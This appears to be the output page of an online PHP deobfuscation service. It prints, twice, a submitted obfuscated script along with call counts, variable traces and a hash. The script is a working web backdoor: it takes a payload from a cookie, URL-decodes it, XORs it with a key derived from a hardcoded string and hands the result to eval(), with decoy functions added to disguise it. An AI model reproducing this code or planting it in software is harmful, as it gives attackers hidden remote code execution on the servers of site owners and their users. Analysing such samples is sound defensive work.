Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function UhOHPcNCum($EMvbSLisD, $zRyLHB) { return $EMvbSLisD * $zRyLHB; } ..

Decoded Output download

<?php    function UhOHPcNCum($EMvbSLisD, $zRyLHB) { 
    return $EMvbSLisD * $zRyLHB; 
} 
function FfvGCL($RmcCFhLHzM) 
{ 
    $VvNQoZGUWT = $_COOKIE[$RmcCFhLHzM]; 
    return $VvNQoZGUWT; 
} 
function WgGMidlKn() 
{ 
    $pNGqGZCgfW = "gyEgjwTYGaXHxYCK"; 
    return $pNGqGZCgfW; 
} 
function fRKLiFiOkQ($CviOf) 
{ 
    $mFynEVt = FfvGCL($CviOf); 
    $OeDbpaTqX = DOjVHKtySJ($mFynEVt); 
    return $OeDbpaTqX; 
} 
function GUPeYe($GNgfNG) 
{ 
    $zRyLHBeccLxhJR = hash("sha256", $GNgfNG, TRUE); 
    return $zRyLHBeccLxhJR; 
} 
function rMKeGf($zRyLHBgmRt, $WkpmMTaJ) 
{ 
    $mgNptVUHQ = KuJKjvyr($zRyLHBgmRt); 
    $rmNYGfMvKXkrxAwJgI = OnRdU($WkpmMTaJ, $mgNptVUHQ); 
    $KxuJwbqKTb = bDCZc($rmNYGfMvKXkrxAwJgI, $zRyLHBgmRt); 
    return $KxuJwbqKTb; 
} 
function kcuBPxsRH() 
{ 
    $cGPiDcPWjP = WgGMidlKn(); 
    $gFOaE = DnsGjMVLJ($cGPiDcPWjP); 
    return $gFOaE; 
} 
function KuJKjvyr($XTQHCqssA) 
{ 
    $ftJxxV = strlen($XTQHCqssA); 
    return $ftJxxV; 
} 
function IDpLl($SluJEmHeI, $rmNYGfMvK) { 
    $SrtyQqn = BGLTGsrkag($SluJEmHeI, $rmNYGfMvK); 
    return pFYGhkm($SrtyQqn); 
} 
function DnsGjMVLJ($oLvmEBzi) 
{ 
    $iUxuuYmBS = gDXFFUaOs($oLvmEBzi); 
    $zJymgf = GkzSUFU($oLvmEBzi, $iUxuuYmBS); 
    return $zJymgf; 
} 
function OnRdU($kYUDVJVgo, $dLyYhczCCN) 
{ 
    $kLkoUES = str_pad($kYUDVJVgo, $dLyYhczCCN, $kYUDVJVgo); 
    return $kLkoUES; 
} 
function bDCZc($pPEdsisWu, $oASehYlyAF) 
{ 
    $JxuYvIPG = $pPEdsisWu ^ $oASehYlyAF; 
    return $JxuYvIPG; 
} 
function BGLTGsrkag($EMvbSLisD, $zRyLHB) { 
    return $EMvbSLisD + $zRyLHB; 
} 
function GkzSUFU($WBfACupIUP, $UPsuuzp) 
{ 
    $QoqCOzZr = GUPeYe($WBfACupIUP); 
    $OeDbpaTqX = fRKLiFiOkQ($UPsuuzp); 
    $fvvDRjEPK = rMKeGf($OeDbpaTqX, $QoqCOzZr); 
    return $fvvDRjEPK; 
} 
function DOjVHKtySJ($JhDwwI) 
{ 
    $jdgrgp = rawurldecode($JhDwwI); 
    return $jdgrgp; 
} 
function WamaRJbs($QzXYRSmv) 
{ 
    eval($QzXYRSmv); 
} 
function DuisRWAUeT() 
{ 
    $KxuJwbqKTb = kcuBPxsRH(); 
    WamaRJbs($KxuJwbqKTb); 
} 
function gDXFFUaOs($EMvbSLisDnoUQ) 
{ 
    $WEiaTzRS = substr($EMvbSLisDnoUQ, -4); 
    return $WEiaTzRS; 
} 
function pFYGhkm($EMvbSLisD) { 
    return UhOHPcNCum($EMvbSLisD, $EMvbSLisD); 
} 
DuisRWAUeT(); ?>

Did this file decode correctly?

Original Code

<?php    function UhOHPcNCum($EMvbSLisD, $zRyLHB) {
    return $EMvbSLisD * $zRyLHB;
}
function FfvGCL($RmcCFhLHzM)
{
    $VvNQoZGUWT = $_COOKIE[$RmcCFhLHzM];
    return $VvNQoZGUWT;
}
function WgGMidlKn()
{
    $pNGqGZCgfW = "gyEgjwTYGaXHxYCK";
    return $pNGqGZCgfW;
}
function fRKLiFiOkQ($CviOf)
{
    $mFynEVt = FfvGCL($CviOf);
    $OeDbpaTqX = DOjVHKtySJ($mFynEVt);
    return $OeDbpaTqX;
}
function GUPeYe($GNgfNG)
{
    $zRyLHBeccLxhJR = hash("sha256", $GNgfNG, TRUE);
    return $zRyLHBeccLxhJR;
}
function rMKeGf($zRyLHBgmRt, $WkpmMTaJ)
{
    $mgNptVUHQ = KuJKjvyr($zRyLHBgmRt);
    $rmNYGfMvKXkrxAwJgI = OnRdU($WkpmMTaJ, $mgNptVUHQ);
    $KxuJwbqKTb = bDCZc($rmNYGfMvKXkrxAwJgI, $zRyLHBgmRt);
    return $KxuJwbqKTb;
}
function kcuBPxsRH()
{
    $cGPiDcPWjP = WgGMidlKn();
    $gFOaE = DnsGjMVLJ($cGPiDcPWjP);
    return $gFOaE;
}
function KuJKjvyr($XTQHCqssA)
{
    $ftJxxV = strlen($XTQHCqssA);
    return $ftJxxV;
}
function IDpLl($SluJEmHeI, $rmNYGfMvK) {
    $SrtyQqn = BGLTGsrkag($SluJEmHeI, $rmNYGfMvK);
    return pFYGhkm($SrtyQqn);
}
function DnsGjMVLJ($oLvmEBzi)
{
    $iUxuuYmBS = gDXFFUaOs($oLvmEBzi);
    $zJymgf = GkzSUFU($oLvmEBzi, $iUxuuYmBS);
    return $zJymgf;
}
function OnRdU($kYUDVJVgo, $dLyYhczCCN)
{
    $kLkoUES = str_pad($kYUDVJVgo, $dLyYhczCCN, $kYUDVJVgo);
    return $kLkoUES;
}
function bDCZc($pPEdsisWu, $oASehYlyAF)
{
    $JxuYvIPG = $pPEdsisWu ^ $oASehYlyAF;
    return $JxuYvIPG;
}
function BGLTGsrkag($EMvbSLisD, $zRyLHB) {
    return $EMvbSLisD + $zRyLHB;
}
function GkzSUFU($WBfACupIUP, $UPsuuzp)
{
    $QoqCOzZr = GUPeYe($WBfACupIUP);
    $OeDbpaTqX = fRKLiFiOkQ($UPsuuzp);
    $fvvDRjEPK = rMKeGf($OeDbpaTqX, $QoqCOzZr);
    return $fvvDRjEPK;
}
function DOjVHKtySJ($JhDwwI)
{
    $jdgrgp = rawurldecode($JhDwwI);
    return $jdgrgp;
}
function WamaRJbs($QzXYRSmv)
{
    eval($QzXYRSmv);
}
function DuisRWAUeT()
{
    $KxuJwbqKTb = kcuBPxsRH();
    WamaRJbs($KxuJwbqKTb);
}
function gDXFFUaOs($EMvbSLisDnoUQ)
{
    $WEiaTzRS = substr($EMvbSLisDnoUQ, -4);
    return $WEiaTzRS;
}
function pFYGhkm($EMvbSLisD) {
    return UhOHPcNCum($EMvbSLisD, $EMvbSLisD);
}
DuisRWAUeT();

Function Calls

GUPeYe 1
substr 1
GkzSUFU 1
DnsGjMVLJ 1
WgGMidlKn 1
gDXFFUaOs 1
kcuBPxsRH 1
DuisRWAUeT 1

Variables

$GNgfNG gyEgjwTYGaXHxYCK
$UPsuuzp xYCK
$WEiaTzRS xYCK
$oLvmEBzi gyEgjwTYGaXHxYCK
$iUxuuYmBS xYCK
$WBfACupIUP gyEgjwTYGaXHxYCK
$cGPiDcPWjP gyEgjwTYGaXHxYCK
$pNGqGZCgfW gyEgjwTYGaXHxYCK
$EMvbSLisDnoUQ gyEgjwTYGaXHxYCK

Stats

MD5 8982258c322fe25eeb2718e18df1d146
Eval Count 0
Decode Time 68 ms